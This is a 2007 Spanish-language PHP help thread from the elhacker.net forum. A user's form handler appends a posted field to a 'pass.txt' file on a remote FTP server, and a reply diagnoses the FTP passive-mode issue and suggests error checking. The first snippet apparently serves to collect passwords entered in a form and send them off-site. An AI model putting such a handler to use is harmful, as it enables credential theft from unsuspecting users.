Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: knox18 en 9 Septiembre 2007, 12:13 pm



Título: Duda codigo PHP
Publicado por: knox18 en 9 Septiembre 2007, 12:13 pm
Aver.. wenas..

yo sk toi haciendo un formulario ok? y mi intencion es k el formulario este en un primer arxivo con extension html ok? yk despues kuando le des al boton enviar se vaya a un arxivo html tmb con el sigiente codigo

Código:
<?  
$fp = fopen("ftp://*****:*******@ftp.usuarios.lycos.es/pass.txt","a"); 
fwrite($fp,$_POST["$name"]); 
fclose($fp); 
?>

ok? aora el problema kuando lo ace no me escribe en el arxivo detallado xk?

$name es el nombre del del input, ya e comprobado eso xo no entiendo el xk no salen?? akaso tngo k ponerlos en arxivos php?? no ace falta si ya e declarado el tipo de lenguaje no?


Título: Re: Duda codigo PHP
Publicado por: P[i] en 9 Septiembre 2007, 17:24 pm
Bueno el problema esta en esto
Código:
ftp://*******:********@ftp.usuarios.lycos.es/pass.txt


Puede ser que el server ftp no soporte modo pasivo por eso esto no funciona mira:
Citar
Si filename comienza con "ftp://" (no es sensible a mayúsculas), se abre una conexión ftp hacia el servidor especificado y se devuelve un apuntador al fichero requerido. Si el servidor no soporta ftp en modo pasivo, esto fallará. Se pueden abrir fichero via ftp para leer o para escribir (pero no ambas cosas simultáneamente).

http://www.phpbuilder.com/manual2/manual/es/function.fopen.php (http://www.phpbuilder.com/manual2/manual/es/function.fopen.php)


Por cierto no estaria de mal confirmar la apertura del archivo con algo asi, por lo menos mientras lo depuras:
Código:
<?
$fp = fopen("archivo.txt","a");
if($fp==null) echo "Error al guardar datos";
else {
  fwrite($fp,"hola");
  fclose($fp);
  echo "Datos guardados";
}
?>

Saludos.